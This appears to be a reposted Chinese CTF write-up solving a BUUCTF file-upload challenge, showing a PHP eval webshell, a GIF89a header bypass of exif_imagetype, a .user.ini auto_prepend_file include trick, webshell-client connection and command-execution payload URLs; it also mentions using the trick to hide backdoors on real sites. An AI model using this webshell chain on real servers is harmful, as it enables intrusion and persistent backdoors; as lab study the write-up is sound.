解題程序:
打開后,是一個檔案上傳的界面,很明顯這是關于檔案上傳漏洞方面的題目,

然后我們來試試相關的操作,看看能夠得到哪些資訊
1.上傳一句話木馬,1.php,

回顯:

表示后綴名不能是php,可能是被過濾了
2.將1.php改為1.jpg,
回顯:

表示題目把含有“<?”的檔案過濾掉了
3.將一句話木馬進行一些修改
<script language="php">eval($_GET['cmd']);</script>
然后再次上傳1.php,
回顯:
查了一些關于exif_imagetype的資料,如下:
exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — 判斷一個影像的型別
說明
exif_imagetype ( string
$filename) : intexif_imagetype() 讀取一個影像的第一個位元組并檢查其簽名,
說明題目后端會截取上傳的檔案的頭部一部分進行判斷是否為影像檔案
4.GIF89a圖片頭檔案欺騙,
- GIF89a?
- <script language="php">eval($_GET['cmd']);</script>
回顯:

現在我們已將圖片馬上傳上去了,
但是圖片馬上傳上去只是進行了一半,因為時圖片馬,不是php腳本檔案,所以無法被決議運行,所以就需要進行重頭戲:檔案包含漏洞
一些關于user.ini的知識
(摘了一部分,文章鏈接附在文章末尾)
那么什么是.user.ini?
這得從php.ini說起了,php.ini是php默認的組態檔,其中包括了很多php的配置,這些配置中,又分為幾種:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER, 在此可以查看:http://php.net/manual/zh/ini.list.php 這幾種模式有什么區別?看看官方的解釋:
其中就提到了,模式為PHP_INI_USER的配置項,可以在ini_set()函式中設定、注冊表中設定,再就是.user.ini中設定, 這里就提到了.user.ini,那么這是個什么組態檔?那么官方檔案在這里又解釋了:
除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 檔案,從被執行的 PHP 檔案所在目錄開始一直上升到 web 根目錄(
$_SERVER['DOCUMENT_ROOT']所指定的),如果被執行的 PHP 檔案在 web 根目錄之外,則只掃描該目錄,在
.user.ini風格的 INI 檔案中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 設定可被識別,這里就很清楚了,
.user.ini實際上就是一個可以由用戶“自定義”的php.ini,我們能夠自定義的設定是模式為“PHP_INI_PERDIR 、 PHP_INI_USER”的設定,(上面表格中沒有提到的PHP_INI_PERDIR也可以在.user.ini中設定)實際上,除了
PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通過.user.ini來設定的,而且,和
php.ini不同的是,.user.ini是一個能被動態加載的ini檔案,也就是說我修改了.user.ini后,不需要重啟服務器中間件,只需要等待user_ini.cache_ttl所設定的時間(默認為300秒),即可被重新加載,然后我們看到php.ini中的配置項,可惜我沮喪地發現,只要稍微敏感的配置項,都是
PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等, 不過,我們可以很容易地借助.user.ini檔案來構造一個“后門”,Php配置項中有兩個比較有意思的項(下圖第一、四個):
auto_append_file,指定一個檔案,自動包含在要執行的檔案前,類似于在檔案前呼叫了require()函式,而auto_append_file類似,只是在檔案后面包含, 使用方法很簡單,直接寫在.user.ini中:auto_prepend_file=01.gif01.gif是要包含的檔案,
所以,我們可以借助.user.ini輕松讓所有php檔案都“自動”包含某個檔案,而這個檔案可以是一個正常php檔案,也可以是一個包含一句話的webshell,
測驗一下,我分別在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上測驗, 目錄下有.user.ini,和包含webshell的01.gif,和正常php檔案echo.php:
那么,我們可以猥瑣地想一下,在哪些情況下可以用到這個姿勢? 比如,某網站限制不允許上傳.php檔案,你便可以上傳一個.user.ini,再上傳一個圖片馬,包含起來進行getshell,不過前提是含有.user.ini的檔案夾下需要有正常的php檔案,否則也不能包含了, 再比如,你只是想隱藏個后門,這個方式是最方便的,
解題操作:
一:上傳user.ini
- GIF89a
- auto_prepend_file=1.jpg
前面要加上GIF89a,來繞過檢測,
回顯:

二:上傳1.jpg
- GIF89a?
- <script language="php">eval($_GET['cmd']);</script>
回顯:

(注意index.php,用處很大)
三:菜刀連接(或蟻劍)
這里用的是菜刀
編輯

連接成功

到這里我其實已經認為得到flag了,但是此時不知道哪里出了問題,菜刀不能夠訪問其他檔案,所以最后菜刀沒有能夠得到flag,(有懂的大佬請在評論區指正)

四:另一種解法
掃描目錄:payload
http://fcefd10d-8efb-44ed-9002-5afff4675862.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?cmd=var_dump(scandir("/"))
回顯

payload:
http://fcefd10d-8efb-44ed-9002-5afff4675862.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?cmd=system('cat /flag');

(注意時間:.user.ini檔案過幾分鐘就會更新消失)
原文鏈接:https://blog.csdn.net/RABCDXB/article/details/113623796
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15214568.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296746.html
標籤:其他




